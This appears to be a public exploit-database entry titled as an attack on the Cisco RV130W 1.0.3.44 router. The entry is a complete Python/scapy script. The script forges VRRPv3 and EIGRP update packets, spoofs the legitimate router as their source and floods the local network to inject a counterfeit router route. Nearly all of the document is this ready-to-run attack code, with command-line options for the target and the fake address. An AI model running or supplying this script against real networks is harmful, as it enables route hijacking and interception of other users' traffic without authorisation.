Cisco small business RV130W 1.0.3.44 – Inject Counterfeit Routers
# Exploit Title: Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers # Date: 24/09/2021 # Exploit Author: Michael Alamoot # Vendor Homepage: https://www.cisco.com/ # Version: RV130W 1.0.3.44 # Tested on: Kali linux #! /usr/bin/env python3 from scapy.contrib.eigrp import EIGRPAuthData from scapy.contrib.eigrp import EIGRPIntRoute from scapy.contrib.eigrp import EIGRPGeneric from scapy.contrib.eigrp import EIGRPSeq from scapy.contrib.eigrp import EIGRP from scapy.layers.vrrp import VRRPv3 from scapy.layers.vrrp import VRRP from scapy.layers.l2 import Ether from scapy.layers.inet import IP from scapy.sendrecv import sendp from scapy.volatile import RandMAC from scapy.all import conf import socket,networkx,os import argparse,sys,asyncio class argX: def __init__(self): self.parser = argparse.ArgumentParser(description="...") self.parser.add_argument( "-i","--ip", help="ip router fake injection", dest="ip", ) self.parser.add_argument( "-r","--ip-router", help="ip router root", dest="router", default=conf.route.route('0.0.0.0')[2] ) def argvX(self): """ [0] ip-router [1] ip-fake """ args = self.parser.parse_args() ip = args.ip route = args.router return [ip,route] class exploit(object): def __new__(cls,*args,**kwargs): return super(exploit,cls).__new__(cls) def __init__(self,IProuter,InjectFackeRouter): self.IProuter = IProuter self.InjectFackeRouter = InjectFackeRouter self.MAC = RandMAC() def pyload(self): pyload = Ether()/IP(src=self.IProuter,dst="224.0.0.18")\ /VRRPv3(version=3,type=1,vrid=1,priority=100,res=0,adv=100,addrlist=self.InjectFackeRouter)\ /IP(src=self.IProuter,dst="224.0.0.10") \ /EIGRP(opcode="Update",asn=100,seq=0,ack=0 ,tlvlist=[EIGRPIntRoute(dst=self.InjectFackeRouter,nexthop=self.IProuter)]) return pyload def start(self,count=[0,100]): for i in range(count[0],count[1]): sendp(self.pyload(),verbose=0,return_packets=False,inter=0,loop=0) print(f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m") if __name__ == "__main__": a = argX().argvX() if a[0]: net1 = exploit(IProuter=a[1],InjectFackeRouter=a[0]) net1.start() else: print("[-h] [--help]") |